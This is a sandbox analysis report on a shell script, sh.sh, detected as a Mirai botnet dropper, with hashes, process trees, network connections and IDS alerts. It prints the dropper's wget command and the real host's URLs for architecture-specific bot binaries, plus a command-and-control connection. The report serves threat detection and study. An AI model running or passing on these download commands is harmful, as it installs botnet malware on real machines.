File name:

sh.sh

Full analysis: https://app.any.run/tasks/638c0a52-3558-4fdb-866e-1809bdc61ccc
Verdict: Malicious activity
Analysis date: May 16, 2025, 10:46:55
OS: Ubuntu 22.04.2
Indicators:
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

4000B9DC65AEE1470D3309F92078C764

SHA1:

6D8F5EE62D6644C2B4DD97A373E23C538ED2D6C6

SHA256:

FD222F21A97486A95099499E7DF5B211ADD5A46172A37D18793471ABF71ADF86

SSDEEP:

12:8Ib6pv4Kg4Wa34/sFIPT4/nQ+4/zp4/WRXe4QKBe4f1b48iE:j2KtsFI6nEo4vsE

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • b (PID: 39875)
      • b (PID: 39877)
      • b (PID: 39880)
      • b (PID: 39878)
      • b (PID: 39876)
      • b (PID: 39882)
      • b (PID: 39879)
    • MIRAI has been detected (SURICATA)

      • b (PID: 39878)
  • SUSPICIOUS

    • Executes commands using command-line interpreter

      • sudo (PID: 39870)
      • bash (PID: 39871)
    • Modifies file or directory owner

      • sudo (PID: 39865)
    • Potential Corporate Privacy Violation

      • wget (PID: 39883)
      • wget (PID: 39888)
      • wget (PID: 39873)
      • wget (PID: 39908)
      • wget (PID: 39903)
      • wget (PID: 39913)
      • wget (PID: 39925)
      • wget (PID: 39898)
      • wget (PID: 39920)
    • Contacting a server suspected of hosting an CnC

      • b (PID: 39878)
    • Connects to unusual port

      • b (PID: 39878)
    • Executes the "rm" command to delete files or directories

      • bash (PID: 39871)
    • Uses wget to download content

      • bash (PID: 39871)
  • INFO

    • Checks timezone

      • wget (PID: 39903)
      • wget (PID: 39920)
      • wget (PID: 39913)
      • wget (PID: 39883)
      • wget (PID: 39888)
      • wget (PID: 39925)
      • wget (PID: 39898)
      • wget (PID: 39908)
      • wget (PID: 39873)
      • wget (PID: 39893)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
184
Monitored processes
56
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs systemctl no specs systemctl no specs chmod no specs sudo no specs bash no specs locale-check no specs wget chmod no specs b no specs rm no specs wget b no specs b no specs #MIRAI b b no specs b no specs b no specs chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget systemctl no specs chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs

Process information

PID
CMD
Path
Indicators
Parent process
39864/bin/sh -c "sudo chown user /tmp/sh\.sh && chmod +x /tmp/sh\.sh && DISPLAY=:0 sudo -iu user /tmp/sh\.sh "/usr/bin/dashoF5qt7VjSoEVMhQn
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39865sudo chown user /tmp/sh.sh/usr/bin/sudodash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
39866chown user /tmp/sh.sh/usr/bin/chownsudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39867systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service/usr/bin/systemctlsnapd
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libcap.so.2.44
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5
/usr/lib/x86_64-linux-gnu/liblz4.so.1.9.3
/usr/lib/x86_64-linux-gnu/libzstd.so.1.4.8
/usr/lib/x86_64-linux-gnu/libblkid.so.1.1.0
/usr/lib/x86_64-linux-gnu/libgcrypt.so.20.3.4
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libgpg-error.so.0.32.1
39868systemctl --user --global is-enabled snap.snapd-desktop-integration.snapd-desktop-integration.service/usr/bin/systemctlsnapd
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libcap.so.2.44
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/lib/x86_64-linux-gnu/liblzma.so.5.2.5
/usr/lib/x86_64-linux-gnu/liblz4.so.1.9.3
/usr/lib/x86_64-linux-gnu/libzstd.so.1.4.8
/usr/lib/x86_64-linux-gnu/libblkid.so.1.1.0
/usr/lib/x86_64-linux-gnu/libgcrypt.so.20.3.4
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libgpg-error.so.0.32.1
39869chmod +x /tmp/sh.sh/usr/bin/chmoddash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39870sudo -iu user /tmp/sh.sh/usr/bin/sudodash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
39871/bin/bash /tmp/sh.sh/usr/bin/bashsudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
39872/usr/bin/locale-check C.UTF-8/usr/bin/locale-checkbash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39873wget http://37.114.63.141/x86 -O b/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
/usr/lib/x86_64-linux-gnu/libssl.so.3
/usr/lib/x86_64-linux-gnu/libcrypto.so.3
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
Executable files
0
Suspicious files
9
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
39873wget/home/user/b (deleted)binary
MD5:
SHA256:
39883wget/home/user/b (deleted)binary
MD5:
SHA256:
39888wget/home/user/b (deleted)o
MD5:
SHA256:
39898wget/home/user/b (deleted)binary
MD5:
SHA256:
39903wget/home/user/b (deleted)binary
MD5:
SHA256:
39908wget/home/user/b (deleted)binary
MD5:
SHA256:
39913wget/home/user/b (deleted)binary
MD5:
SHA256:
39920wget/home/user/b (deleted)binary
MD5:
SHA256:
39925wget/home/user/b (deleted)binary
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
20
DNS requests
9
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
204
185.125.190.97:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
GET
204
185.125.190.97:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
39873
wget
GET
200
37.114.63.141:80
http://37.114.63.141/x86
unknown
unknown
39888
wget
GET
200
37.114.63.141:80
http://37.114.63.141/mpsl
unknown
unknown
39883
wget
GET
200
37.114.63.141:80
http://37.114.63.141/mips
unknown
unknown
39893
wget
GET
404
37.114.63.141:80
http://37.114.63.141/arm4
unknown
unknown
39898
wget
GET
200
37.114.63.141:80
http://37.114.63.141/arm5
unknown
unknown
39903
wget
GET
200
37.114.63.141:80
http://37.114.63.141/arm6
unknown
unknown
39908
wget
GET
200
37.114.63.141:80
http://37.114.63.141/arm7
unknown
unknown
39920
wget
GET
200
37.114.63.141:80
http://37.114.63.141/m68k
unknown
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
484
avahi-daemon
224.0.0.251:5353
unknown
185.125.190.97:80
Canonical Group Limited
GB
unknown
195.181.175.40:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
512
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
39873
wget
37.114.63.141:80
intercolo GmbH
DE
unknown
39878
b
37.114.63.141:1024
intercolo GmbH
DE
unknown
39883
wget
37.114.63.141:80
intercolo GmbH
DE
unknown
39888
wget
37.114.63.141:80
intercolo GmbH
DE
unknown

DNS requests

Domain
IP
Reputation
google.com
  • 172.217.18.14
  • 2a00:1450:4001:80b::200e
whitelisted
odrs.gnome.org
  • 195.181.175.40
  • 37.19.194.81
  • 207.211.211.26
  • 169.150.255.184
  • 169.150.255.180
  • 212.102.56.179
  • 195.181.170.18
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::21
whitelisted
api.snapcraft.io
  • 185.125.188.58
  • 185.125.188.54
  • 185.125.188.57
  • 185.125.188.59
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::2e6
whitelisted
10.100.168.192.in-addr.arpa
unknown
connectivity-check.ubuntu.com
  • 2620:2d:4000:1::97
  • 2620:2d:4002:1::196
  • 2001:67c:1562::24
  • 2620:2d:4000:1::23
  • 2001:67c:1562::23
  • 2620:2d:4000:1::98
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::2b
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::22
whitelisted

Threats

PID
Process
Class
Message
39873
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39898
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39883
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39888
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39903
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39913
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39908
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39920
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39925
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39878
b
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
No debug info